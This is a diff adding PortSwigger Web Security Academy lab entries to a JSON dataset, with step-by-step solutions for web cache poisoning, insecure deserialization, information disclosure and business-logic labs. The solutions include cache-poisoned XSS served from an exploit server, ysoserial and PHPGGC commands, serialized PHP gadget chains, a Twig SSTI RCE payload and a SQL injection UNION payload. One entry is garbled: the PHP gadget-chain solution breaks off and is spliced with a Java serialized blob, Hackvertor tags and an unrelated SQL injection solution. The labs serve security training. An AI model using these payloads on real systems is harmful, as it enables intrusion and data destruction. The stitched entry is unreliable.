foo\nNotice that if you request this URL in the browser, the payload doesn't execute because it is URL-encoded.\nIn Burp Repeater, poison the cache with your payload and then immediately load the URL in the browser. This time, the alert() is executed because the browser's encoded payload was URL-decoded by the cache, causing a cache hit with the earlier request.\nRe-poison the cache then immediately go to the lab and click \"Deliver link to victim\". Submit your malicious URL. The lab will be solved when the victim visits the link."
+ },
+ {
+ "type": "web-cache-poisoning",
+ "url": "https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria",
+ "title": "Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria",
+ "description": "This lab contains a DOM-based vulnerability that can be exploited as part of a web cache poisoning attack. A user visits the home page roughly once a minute. Note that the cache used by this lab has stricter criteria for deciding which responses are cacheable, so you will need to study the cache behavior closely.\nTo solve the lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.",
+ "solution": "With Burp running, open the website's home page.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the requests and responses that you generated. Find the GET request for the home page and send it to Burp Repeater.\nUse Param Miner to identify that the X-Forwarded-Host header is supported.\nAdd a cache buster to the request, as well as the X-Forwarded-Host header with an arbitrary hostname, such as example.com. Notice that this header overwrites the data.host variable, which is passed into the initGeoLocate() function.\nStudy the initGeoLocate() function in /resources/js/geolocate.js and notice that it is vulnerable to DOM-XSS due to the way it handles the incoming JSON data.\nGo to the exploit server and change the file name to match the path used by the vulnerable response:\n/resources/json/geolocate.json\nIn the head, add the header Access-Control-Allow-Origin: * to enable CORS\nIn the body, add a malicious JSON object that matches the one used by the vulnerable website. However, replace the value with a suitable XSS payload, for example:\n{\n\"country\": \"\"\n}\nStore the exploit.\nBack in Burp, find the request for the home page and send it to Burp Repeater.\nIn Burp Repeater, add the following header, remembering to enter your own exploit server ID:\nX-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net\nSend the request until you see your exploit server URL reflected in the response and X-Cache: hit in the headers.\nIf this doesn't work, notice that the response contains the Set-Cookie header. Responses containing this header are not cacheable on this site. Reload the home page to generate a new request, which should have a session cookie already set.\nSend this new request to Burp Repeater and repeat the steps above until you successfully poison the cache.\nTo simulate the victim, load the URL in the browser and make sure that the alert() fires.\nReplay the request to keep the cache poisoned until the victim visits the site and the lab is solved"
+ },
+ {
+ "type": "web-cache-poisoning",
+ "url": "https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-combining-vulnerabilities",
+ "title": "Lab: Combining web cache poisoning vulnerabilities",
+ "description": "This lab is susceptible to web cache poisoning, but only if you construct a complex exploit chain.\nA user visits the home page roughly once a minute and their language is set to English. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor's browser.",
+ "solution": "This lab requires you to poison the cache with multiple malicious responses simultaneously and coordinate this with the victim's browsing behavior.\nWith Burp running, load the website's home page.\nUse Param Miner to identify that the X-Forwarded-Host and X-Original-URL headers are supported.\nIn Burp Repeater, experiment with the X-Forwarded-Host header and observe that it can be used to import an arbitrary JSON file instead of the translations.json file, which contains translations of UI texts.\nNotice that the website is vulnerable to DOM-XSS due to the way the initTranslations() function handles data from the JSON file for all languages except English.\nGo to the exploit server and edit the file name to match the path used by the vulnerable website:\n/resources/json/translations.json\nIn the head, add the header Access-Control-Allow-Origin: * to enable CORS.\nIn the body, add malicious JSON that matches the structure used by the real translation file. Replace the value of one of the translations with a suitable XSS payload, for example:\n{\n \"en\": {\n \"name\": \"English\"\n },\n \"es\": {\n \"name\": \"espa\u00f1ol\",\n \"translations\": {\n \"Return to list\": \"Volver a la lista\",\n \"View details\": \"
\",\n \"Description:\": \"Descripci\u00f3n\"\n }\n }\n}\nFor the rest of this solution we will use Spanish to demonstrate the attack. Please note that if you injected your payload into the translation for another language, you will also need to adapt the examples accordingly.\nStore the exploit.\nIn Burp, find a GET request for /?localized=1 that includes the lang cookie for Spanish:\nlang=es\nSend the request to Burp Repeater. Add a cache buster and the following header, remembering to enter your own exploit server ID:\nX-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net\nSend the response and confirm that your exploit server is reflected in the response.\nTo simulate the victim, load the URL in the browser and confirm that the alert() fires.\nYou have successfully poisoned the cache for the Spanish page, but the target user's language is set to English. As it's not possible to exploit users with their language set to English, you need to find a way to forcibly change their language.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the requests and responses that you generated. Notice that when you change the language on the page to anything other than English, this triggers a redirect, for example, to /setlang/es. The user's selected language is set server side using the lang=es cookie, and the home page is reloaded with the parameter ?localized=1.\nSend the GET request for the home page to Burp Repeater and add a cache buster.\nObserve that the X-Original-URL can be used to change the path of the request, so you can explicitly set /setlang/es. However, you will find that this response cannot be cached because it contains the Set-Cookie header.\nObserve that the home page sometimes uses backslashes as a folder separator. Notice that the server normalizes these to forward slashes using a redirect. Therefore, X-Original-URL: /setlang\\es triggers a 302 response that redirects to /setlang/es. Observe that this 302 response is cacheable and, therefore, can be used to force other users to the Spanish version of the home page.\nYou now need to combine these two exploits. First, poison the GET /?localized=1 page using the X-Forwarded-Host header to import your malicious JSON file from the exploit server.\nNow, while the cache is still poisoned, also poison the GET / page using X-Original-URL: /setlang\\es to force all users to the Spanish page.\nTo simulate the victim, load the English page in the browser and make sure that you are redirected and that the alert() fires.\nReplay both requests in sequence to keep the cache poisoned on both pages until the victim visits the site and the lab is solved."
+ },
+ {
+ "type": "web-cache-poisoning",
+ "url": "https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-cache-key-injection",
+ "title": "Lab: Cache key injection",
+ "description": "",
+ "solution": "Remember that the injected origin header must be lowercase, to comply with the HTTP/2 specification. For more information on how Burp Suite supports HTTP/2-based testing, see Working with HTTP/2 in Burp Suite."
+ },
+ {
+ "type": "web-cache-poisoning",
+ "url": "https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-internal",
+ "title": "Lab: Internal cache poisoning",
+ "description": "This lab is vulnerable to web cache poisoning. It uses multiple layers of caching. A user regularly visits this site's home page using Chrome.\nTo solve the lab, poison the internal cache so that the home page executes alert(document.cookie) in the victim's browser.",
+ "solution": "Notice that the home page is a suitable cache oracle and send the GET / request to Burp Repeater.\nObserve that any changes to the query string are always reflected in the response. This indicates that the external cache includes this in the cache key. Use Param Miner to add a dynamic cache-buster query parameter. This will allow you to bypass the external cache.\nObserve that the X-Forwarded-Host header is supported. Add this to your request, containing your exploit server URL:\nX-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net\nSend the request. If you get lucky with your timing, you will notice that your exploit server URL is reflected three times in the response. However, most of the time, you will see that the URL for the canonical link element and the analytics.js import now both point to your exploit server, but the geolocate.js import URL remains the same.\nKeep sending the request. Eventually, the URL for the geolocate.js resource will also be overwritten with your exploit server URL. This indicates that this fragment is being cached separately by the internal cache. Notice that you've been getting a cache hit for this fragment even with the cache-buster query parameter - the query string is unkeyed by the internal cache.\nRemove the X-Forwarded-Host header and resend the request. Notice that the internally cached fragment still reflects your exploit server URL, but the other two URLs do not. This indicates that the header is unkeyed by the internal cache but keyed by the external one. Therefore, you can poison the internally cached fragment using this header.\nGo to the exploit server and create a file at /js/geolocate.js containing the payload alert(document.cookie). Store the exploit.\nBack in Burp Repeater, disable the dynamic cache buster in the query string and re-add the X-Forwarded-Host header to point to your exploit server.\nSend the request over and over until all three of the dynamic URLs in the response point to your exploit server. Keep replaying the request to keep the cache poisoned until the victim user visits the page and the lab is solved."
+ }
+ ]
+ },
+ {
+ "section": "insecure-deserialization",
+ "labs": [
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects",
+ "title": "Lab: Modifying serialized objects",
+ "description": "This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in using your own credentials. Notice that the post-login GET /my-account request contains a session cookie that appears to be URL and Base64-encoded.\nUse Burp's Inspector panel to study the request in its decoded form. Notice that the cookie is in fact a serialized PHP object. The admin attribute contains b:0, indicating the boolean value false. Send this request to Burp Repeater.\nIn Burp Repeater, use the Inspector to examine the cookie again and change the value of the admin attribute to b:1. Click \"Apply changes\". The modified object will automatically be re-encoded and updated in the request.\nSend the request. Notice that the response now contains a link to the admin panel at /admin, indicating that you have accessed the page with admin privileges.\nChange the path of your request to /admin and resend it. Notice that the /admin page contains links to delete specific user accounts.\nChange the path of your request to /admin/delete?username=carlos and send the request to solve the lab."
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types",
+ "title": "Lab: Modifying serialized data types",
+ "description": "This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete the user carlos.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in using your own credentials. In Burp, open the post-login GET /my-account request and examine the session cookie using the Inspector to reveal a serialized PHP object. Send this request to Burp Repeater.\nIn Burp Repeater, use the Inspector panel to modify the session cookie as follows:\nUpdate the length of the username attribute to 13.\nChange the username to administrator.\nChange the access token to the integer 0. As this is no longer a string, you also need to remove the double-quotes surrounding the value.\nUpdate the data type label for the access token by replacing s with i.\nThe result should look like this:\nO:4:\"User\":2:{s:8:\"username\";s:13:\"administrator\";s:12:\"access_token\";i:0;}\nClick \"Apply changes\". The modified object will automatically be re-encoded and updated in the request.\nSend the request. Notice that the response now contains a link to the admin panel at /admin, indicating that you have successfully accessed the page as the administrator user.\nChange the path of your request to /admin and resend it. Notice that the /admin page contains links to delete specific user accounts.\nChange the path of your request to /admin/delete?username=carlos and send the request to solve the lab."
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization",
+ "title": "Lab: Using application functionality to exploit insecure deserialization",
+ "description": "This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos's home directory.\nYou can log in to your own account using the following credentials: wiener:peter\nYou also have access to a backup account: gregg:rosebud",
+ "solution": "Log in to your own account. On the \"My account\" page, notice the option to delete your account by sending a POST request to /my-account/delete.\nSend a request containing a session cookie to Burp Repeater.\nIn Burp Repeater, study the session cookie using the Inspector panel. Notice that the serialized object has an avatar_link attribute, which contains the file path to your avatar.\nEdit the serialized data so that the avatar_link points to /home/carlos/morale.txt. Remember to update the length indicator. The modified attribute should look like this:\ns:11:\"avatar_link\";s:23:\"/home/carlos/morale.txt\"\nClick \"Apply changes\". The modified object will automatically be re-encoded and updated in the request.\nChange the request line to POST /my-account/delete and send the request. Your account will be deleted, along with Carlos's morale.txt file."
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php",
+ "title": "Lab: Arbitrary object injection in PHP",
+ "description": "This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in to your own account and notice the session cookie contains a serialized PHP object.\nFrom the site map, notice that the website references the file /libs/CustomTemplate.php. Right-click on the file and select \"Send to Repeater\".\nIn Burp Repeater, notice that you can read the source code by appending a tilde (~) to the filename in the request line.\nIn the source code, notice the CustomTemplate class contains the __destruct() magic method. This will invoke the unlink() method on the lock_file_path attribute, which will delete the file on this path.\nIn Burp Decoder, use the correct syntax for serialized PHP data to create a CustomTemplate object with the lock_file_path attribute set to /home/carlos/morale.txt. Make sure to use the correct data type labels and length indicators. The final object should look like this:\nO:14:\"CustomTemplate\":1:{s:14:\"lock_file_path\";s:23:\"/home/carlos/morale.txt\";}\nBase64 and URL-encode this object and save it to your clipboard.\nSend a request containing the session cookie to Burp Repeater.\nIn Burp Repeater, replace the session cookie with the modified one in your clipboard.\nSend the request. The __destruct() magic method is automatically invoked and will delete Carlos's file."
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons",
+ "title": "Lab: Exploiting Java deserialization with Apache Commons",
+ "description": "This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains.\nTo solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in to your own account and observe that the session cookie contains a serialized Java object. Send a request containing your session cookie to Burp Repeater.\nDownload the \"ysoserial\" tool and execute the following command. This generates a Base64-encoded serialized object containing your payload:\nIn Java versions 16 and above:\njava -jar ysoserial-all.jar \\\n --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \\\n --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \\\n --add-opens=java.base/java.net=ALL-UNNAMED \\\n --add-opens=java.base/java.util=ALL-UNNAMED \\\n CommonsCollections4 'rm /home/carlos/morale.txt' | base64\nIn Java versions 15 and below:\njava -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64\nIn Burp Repeater, replace your session cookie with the malicious one you just created. Select the entire cookie and then URL-encode it.\nSend the request to solve the lab."
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain",
+ "title": "Lab: Exploiting PHP deserialization with a pre-built gadget chain",
+ "description": "This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don't have source code access, you can still exploit this lab's insecure deserialization using pre-built gadget chains.\nTo solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos's home directory.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in and send a request containing your session cookie to Burp Repeater. Highlight the cookie and look at the Inspector panel.\nNotice that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash.\nCopy the decoded cookie from the Inspector and paste it into Decoder.\nIn Decoder, highlight the token and then select Decode as > Base64. Notice that the token is actually a serialized PHP object.\nIn Burp Repeater, observe that if you try sending a request with a modified cookie, an exception is raised because the digital signature no longer matches. However, you should notice that:\nA developer comment discloses the location of a debug file at /cgi-bin/phpinfo.php.\nThe error message reveals that the website is using the Symfony 4.3.6 framework.\nRequest the /cgi-bin/phpinfo.php file in Burp Repeater and observe that it leaks some key information about the website, including the SECRET_KEY environment variable. Save this key; you'll need it to sign your exploit later.\nDownload the \"PHPGGC\" tool and execute the following command:\n./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64\nThis will generate a Base64-encoded serialized object that exploits an RCE gadget chain in Symfony to delete Carlos's morale.txt file.\nYou now need to construct a valid cookie containing this malicious object and sign it correctly using the secret key you obtained earlier. You can use the following PHP script to do this. Before running the script, you just need to make the following changes:\nAssign the object you generated in PHPGGC to the $object variable.\nAssign the secret key that you copied from the phpinfo.php file to the $secretKey variable.\n\u00ac\u00edsr#data.productcatalog.ProductTemplateLidtLjava/lang/String;xpt<@from_charcode><@get_len />@from_charcode>YOUR-PAYLOAD-HERE<@set_len><@length>YOUR-PAYLOAD-HERE@length>@set_len>@base64>\nReplace both occurrences of YOUR-PAYLOAD-HERE with the payload that you want to test. Leave everything else as it is.\nSend the request. If you want to check the output that Hackvertor generated, you can look at the request on the \"Logger\" tab.\nThere are several ways to extract the password, but for this solution, we'll perform a simple, error-based UNION attack.\nEnumerate the number of columns in the table (8).\nDetermine the data type of the columns and identify that columns 4, 5, and 6 do not expect values of the type string. Importantly, notice that the error message reflects the string input that you entered.\nList the contents of the database and identify that there is a table called users with a column called password.\nUse a suitable SQL injection payload to extract the password from the users table. For example, the following payload will trigger an exception that displays the password in the error message:\n' UNION SELECT NULL, NULL, NULL, CAST(password AS numeric), NULL, NULL, NULL, NULL FROM users--\nTo solve the lab, log in as administrator using the extracted password, open the admin panel, and delete carlos."
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization",
+ "title": "Lab: Developing a custom gadget chain for PHP deserialization",
+ "description": "This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab, delete the morale.txt file from Carlos's home directory.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in to your own account and notice that the session cookie contains a serialized PHP object. Notice that the website references the file /cgi-bin/libs/CustomTemplate.php. Obtain the source code by submitting a request using the .php~ backup file extension.\nIn the source code, notice that the __wakeup() magic method for a CustomTemplate will create a new Product by referencing the default_desc_type and desc from the CustomTemplate.\nAlso notice that the DefaultMap class has the __get() magic method, which will be invoked if you try to read an attribute that doesn't exist for this object. This magic method invokes call_user_func(), which will execute any function that is passed into it via the DefaultMap->callback attribute. The function will be executed on the $name, which is the non-existent attribute that was requested.\nYou can exploit this gadget chain to invoke exec(rm /home/carlos/morale.txt) by passing in a CustomTemplate object where:\nCustomTemplate->default_desc_type = \"rm /home/carlos/morale.txt\";\nCustomTemplate->desc = DefaultMap;\nDefaultMap->callback = \"exec\"\nIf you follow the data flow in the source code, you will notice that this causes the Product constructor to try and fetch the default_desc_type from the DefaultMap object. As it doesn't have this attribute, the __get() method will invoke the callback exec() method on the default_desc_type, which is set to our shell command.\nTo solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via your session cookie:\nO:14:\"CustomTemplate\":2:{s:17:\"default_desc_type\";s:26:\"rm /home/carlos/morale.txt\";s:4:\"desc\";O:10:\"DefaultMap\":1:{s:8:\"callback\";s:4:\"exec\";}}"
+ },
+ {
+ "type": "deserialization",
+ "url": "https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain",
+ "title": "Lab: Using PHAR deserialization to deploy a custom gadget chain",
+ "description": "This lab does not explicitly use deserialization. However, if you combine PHAR deserialization with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.\nTo solve the lab, delete the morale.txt file from Carlos's home directory.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Observe that the website has a feature for uploading your own avatar, which only accepts JPG images. Upload a valid JPG as your avatar. Notice that it is loaded using GET /cgi-bin/avatar.php?avatar=wiener.\nIn Burp Repeater, request GET /cgi-bin to find an index that shows a Blog.php and CustomTemplate.php file. Obtain the source code by requesting the files using the .php~ backup extension.\nStudy the source code and identify the gadget chain involving the Blog->desc and CustomTemplate->lockFilePath attributes.\nNotice that the file_exists() filesystem method is called on the lockFilePath attribute.\nNotice that the website uses the Twig template engine. You can use deserialization to pass in an server-side template injection (SSTI) payload. Find a documented SSTI payload for remote code execution on Twig, and adapt it to delete Carlos's file:\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\nWrite a some PHP for creating a CustomTemplate and Blog containing your SSTI payload:\nclass CustomTemplate {}\nclass Blog {}\n$object = new CustomTemplate;\n$blog = new Blog;\n$blog->desc = '{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}';\n$blog->user = 'user';\n$object->template_file_path = $blog;\nCreate a PHAR-JPG polyglot containing your PHP script. You can find several scripts for doing this online (search for \"phar jpg polyglot\"). Alternatively, you can download our ready-made one.\nUpload this file as your avatar.\nIn Burp Repeater, modify the request line to deserialize your malicious avatar using a phar:// stream as follows:\nGET /cgi-bin/avatar.php?avatar=phar://wiener\nSend the request to solve the lab."
+ }
+ ]
+ },
+ {
+ "section": "information-disclosure",
+ "labs": [
+ {
+ "type": "information-disclosure",
+ "url": "https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-error-messages",
+ "title": "Lab: Information disclosure in error messages",
+ "description": "This lab's verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework.",
+ "solution": "With Burp running, open one of the product pages.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and notice that the GET request for product pages contains a productID parameter. Send the GET /product?productId=1 request to Burp Repeater. Note that your productId might be different depending on which product page you loaded.\nIn Burp Repeater, change the value of the productId parameter to a non-integer data type, such as a string. Send the request:\nGET /product?productId=\"example\"\nThe unexpected data type causes an exception, and a full stack trace is displayed in the response. This reveals that the lab is using Apache Struts 2 2.3.31.\nGo back to the lab, click \"Submit solution\", and enter 2 2.3.31 to solve the lab."
+ },
+ {
+ "type": "information-disclosure",
+ "url": "https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-on-debug-page",
+ "title": "Lab: Information disclosure on debug page",
+ "description": "This lab contains a debug page that discloses sensitive information about the application. To solve the lab, obtain and submit the SECRET_KEY environment variable.",
+ "solution": "With Burp running, browse to the home page.\nGo to the \"Target\" > \"Site Map\" tab. Right-click on the top-level entry for the lab and select \"Engagement tools\" > \"Find comments\". Notice that the home page contains an HTML comment that contains a link called \"Debug\". This points to /cgi-bin/phpinfo.php.\nIn the site map, right-click on the entry for /cgi-bin/phpinfo.php and select \"Send to Repeater\".\nIn Burp Repeater, send the request to retrieve the file. Notice that it reveals various debugging information, including the SECRET_KEY environment variable.\nGo back to the lab, click \"Submit solution\", and enter the SECRET_KEY to solve the lab."
+ },
+ {
+ "type": "information-disclosure",
+ "url": "https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-via-backup-files",
+ "title": "Lab: Source code disclosure via backup files",
+ "description": "This lab leaks its source code via backup files in a hidden directory. To solve the lab, identify and submit the database password, which is hard-coded in the leaked source code.",
+ "solution": "Browse to /robots.txt and notice that it reveals the existence of a /backup directory. Browse to /backup to find the file ProductTemplate.java.bak. Alternatively, right-click on the lab in the site map and go to \"Engagement tools\" > \"Discover content\". Then, launch a content discovery session to discover the /backup directory and its contents.\nBrowse to /backup/ProductTemplate.java.bak to access the source code.\nIn the source code, notice that the connection builder contains the hard-coded password for a Postgres database.\nGo back to the lab, click \"Submit solution\", and enter the database password to solve the lab."
+ },
+ {
+ "type": "information-disclosure",
+ "url": "https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass",
+ "title": "Lab: Authentication bypass via information disclosure",
+ "description": "This lab's administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end.\nTo solve the lab, obtain the header name then use it to bypass the lab's authentication. Access the admin interface and delete the user carlos.\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "In Burp Repeater, browse to GET /admin. The response discloses that the admin panel is only accessible if logged in as an administrator, or if requested from a local IP.\nSend the request again, but this time use the TRACE method:\nTRACE /admin\nStudy the response. Notice that the X-Custom-IP-Authorization header, containing your IP address, was automatically appended to your request. This is used to determine whether or not the request came from the localhost IP address.\nGo to Proxy > Match and replace.\nUnder HTTP match and replace rules, click Add. The Add match/replace rule dialog opens.\nLeave the Match field empty.\nUnder Type, make sure that Request header is selected.\nIn the Replace field, enter the following:\nX-Custom-IP-Authorization: 127.0.0.1\nClick Test.\nUnder Auto-modified request, notice that Burp has added the X-Custom-IP-Authorization header to the modified request.\nClick OK. Burp Proxy now adds the X-Custom-IP-Authorization header to every request you send.\nBrowse to the home page. Notice that you now have access to the admin panel, where you can delete carlos."
+ },
+ {
+ "type": "information-disclosure",
+ "url": "https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history",
+ "title": "Lab: Information disclosure in version control history",
+ "description": "This lab discloses sensitive information via its version control history. To solve the lab, obtain the password for the administrator user then log in and delete the user carlos.",
+ "solution": "Open the lab and browse to /.git to reveal the lab's Git version control data.\nDownload a copy of this entire directory. For Linux users, the easiest way to do this is using the command:\nwget -r https://YOUR-LAB-ID.web-security-academy.net/.git/\nWindows users will need to find an alternative method, or install a UNIX-like environment, such as Cygwin, in order to use this command.\nExplore the downloaded directory using your local Git installation. Notice that there is a commit with the message \"Remove admin password from config\".\nLook closer at the diff for the changed admin.conf file. Notice that the commit replaced the hard-coded admin password with an environment variable ADMIN_PASSWORD instead. However, the hard-coded password is still clearly visible in the diff.\nGo back to the lab and log in to the administrator account using the leaked password.\nTo solve the lab, open the admin interface and delete carlos."
+ }
+ ]
+ },
+ {
+ "section": "business-logic-vulnerabilities",
+ "labs": [
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls",
+ "title": "Lab: Excessive trust in client-side controls",
+ "description": "This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a \"Lightweight l33t leather jacket\".\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "With Burp running, log in and attempt to buy the leather jacket. The order is rejected because you don't have enough store credit.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the order process. Notice that when you add an item to your cart, the corresponding request contains a price parameter. Send the POST /cart request to Burp Repeater.\nIn Burp Repeater, change the price to an arbitrary integer and send the request. Refresh the cart and confirm that the price has changed based on your input.\nRepeat this process to set the price to any amount less than your available store credit.\nComplete the order to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-high-level",
+ "title": "Lab: High-level logic vulnerability",
+ "description": "This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a \"Lightweight l33t leather jacket\".\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "With Burp running, log in and add a cheap item to your cart.\nIn Burp, go to \"Proxy\" > \"HTTP history\" and study the corresponding HTTP messages. Notice that the quantity is determined by a parameter in the POST /cart request.\nGo to the \"Intercept\" tab and turn on interception. Add another item to your cart and go to the intercepted POST /cart request in Burp.\nChange the quantity parameter to an arbitrary integer, then forward any remaining requests. Observe that the quantity in the cart was successfully updated based on your input.\nRepeat this process, but request a negative quantity this time. Check that this is successfully deducted from the cart quantity.\nRequest a suitable negative quantity to remove more units from the cart than it currently contains. Confirm that you have successfully forced the cart to contain a negative quantity of the product. Go to your cart and notice that the total price is now also a negative amount.\nAdd the leather jacket to your cart as normal. Add a suitable negative quantity of the another item to reduce the total price to less than your remaining store credit.\nPlace the order to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls",
+ "title": "Lab: Inconsistent security controls",
+ "description": "This lab's flawed logic allows arbitrary users to access administrative functionality that should only be available to company employees. To solve the lab, access the admin panel and delete the user carlos.",
+ "solution": "Open the lab then go to the \"Target\" > \"Site map\" tab in Burp. Right-click on the lab domain and select \"Engagement tools\" > \"Discover content\" to open the content discovery tool.\nClick \"Session is not running\" to start the content discovery. After a short while, look at the \"Site map\" tab in the dialog. Notice that it discovered the path /admin.\nTry and browse to /admin. Although you don't have access, the error message indicates that DontWannaCry users do.\nGo to the account registration page. Notice the message telling DontWannaCry employees to use their company email address. Register with an arbitrary email address in the format:\nanything@your-email-id.web-security-academy.net\nYou can find your email domain name by clicking the \"Email client\" button.\nGo to the email client and click the link in the confirmation email to complete the registration.\nLog in using your new account and go to the \"My account\" page. Notice that you have the option to change your email address. Change your email address to an arbitrary @dontwannacry.com address.\nNotice that you now have access to the admin panel, where you can delete carlos to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules",
+ "title": "Lab: Flawed enforcement of business rules",
+ "description": "This lab has a logic flaw in its purchasing workflow. To solve the lab, exploit this flaw to buy a \"Lightweight l33t leather jacket\".\nYou can log in to your own account using the following credentials: wiener:peter",
+ "solution": "Log in and notice that there is a coupon code, NEWCUST5.\nAt the bottom of the page, sign up to the newsletter. You receive another coupon code, SIGNUP30.\nAdd the leather jacket to your cart.\nGo to the checkout and apply both of the coupon codes to get a discount on your order.\nTry applying the codes more than once. Notice that if you enter the same code twice in a row, it is rejected because the coupon has already been applied. However, if you alternate between the two codes, you can bypass this control.\nReuse the two codes enough times to reduce your order total to less than your remaining store credit. Complete the order to solve the lab."
+ },
+ {
+ "type": "logic-flaws",
+ "url": "https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level",
+ "title": "Lab: Low-level logic flaw",
+ "description": "This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a \"Lightweight l33t leather jacket\".\nYou can log in to your own account using the following credentials: wiener:peter",
